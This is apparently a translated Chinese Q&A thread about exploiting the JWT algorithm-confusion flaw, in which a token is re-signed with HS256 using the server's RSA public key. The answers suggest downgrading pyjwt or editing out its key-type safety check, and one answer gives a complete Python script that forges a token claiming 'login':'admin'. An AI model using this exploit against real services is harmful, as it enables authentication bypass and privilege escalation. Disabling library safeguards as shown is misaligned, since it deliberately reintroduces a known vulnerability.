使用以非对称密钥作为秘密的 HMAC 进行 JWT 编码

信息安全 Web应用程序 密码学 渗透测试 jwt
2021-08-12 18:03:17

我目前正在利用这里讨论的漏洞

https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/

JWT 中的算法类型可以从 RSA 更改为 HMAC,并使用给定的公钥对令牌进行签名。

但是,我编写了以下 python 代码:

import jwt
import base64

# consider 'publickey' as the servers public key
code = 
jwt.encode({'login':'test'},'publickey',algorithm='HS256')

这会引发错误:

InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

我正在寻找一种替代方法,我可以使用非对称密钥成功对其进行签名。

谢谢

3个回答

使用尚未实现此异常的旧版本的 pyjwt (0.4.3)。

pip install pyjwt==0.4.3

运行程序时,它会报告引发异常的行:

  File "/some-path/site-packages/jwt/algorithms.py", line 151, in prepare_key
    'The specified key is an asymmetric key or x509 certificate and'
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

因此,在第 151 行附近编辑文件 /some-path/site-packages/jwt/algorithms.py,使其不再引发异常。

例如,把它放在那里:

invalid_strings = []

我最终采用了更多自定义路线来利用此漏洞。以下代码可以作为通用模板来生成必要的令牌,而无需使用jwt库。

from codecs import encode, decode
import requests
import hashlib
import hmac

# read the assymetric key
with open('public.pem', 'rb') as f:
    key = f.read()

# create an appropriate JSON object for header
header = b'{"typ":"JWT","alg":"HS256"}'
header = encode(header, 'base64').strip()

# create an appropriate JSON object for payload
payload = b'{"login":"admin"}'
payload = encode(payload, 'base64').strip()

# sign the payload
sig = hmac.new(key, header + b'.' + payload, hashlib.sha256).digest().strip()
sig = encode(sig, 'base64').strip()

# print the json token
jwt = '{}.{}.{}'.format(header.decode(), payload.decode(), sig.decode())
print(jwt)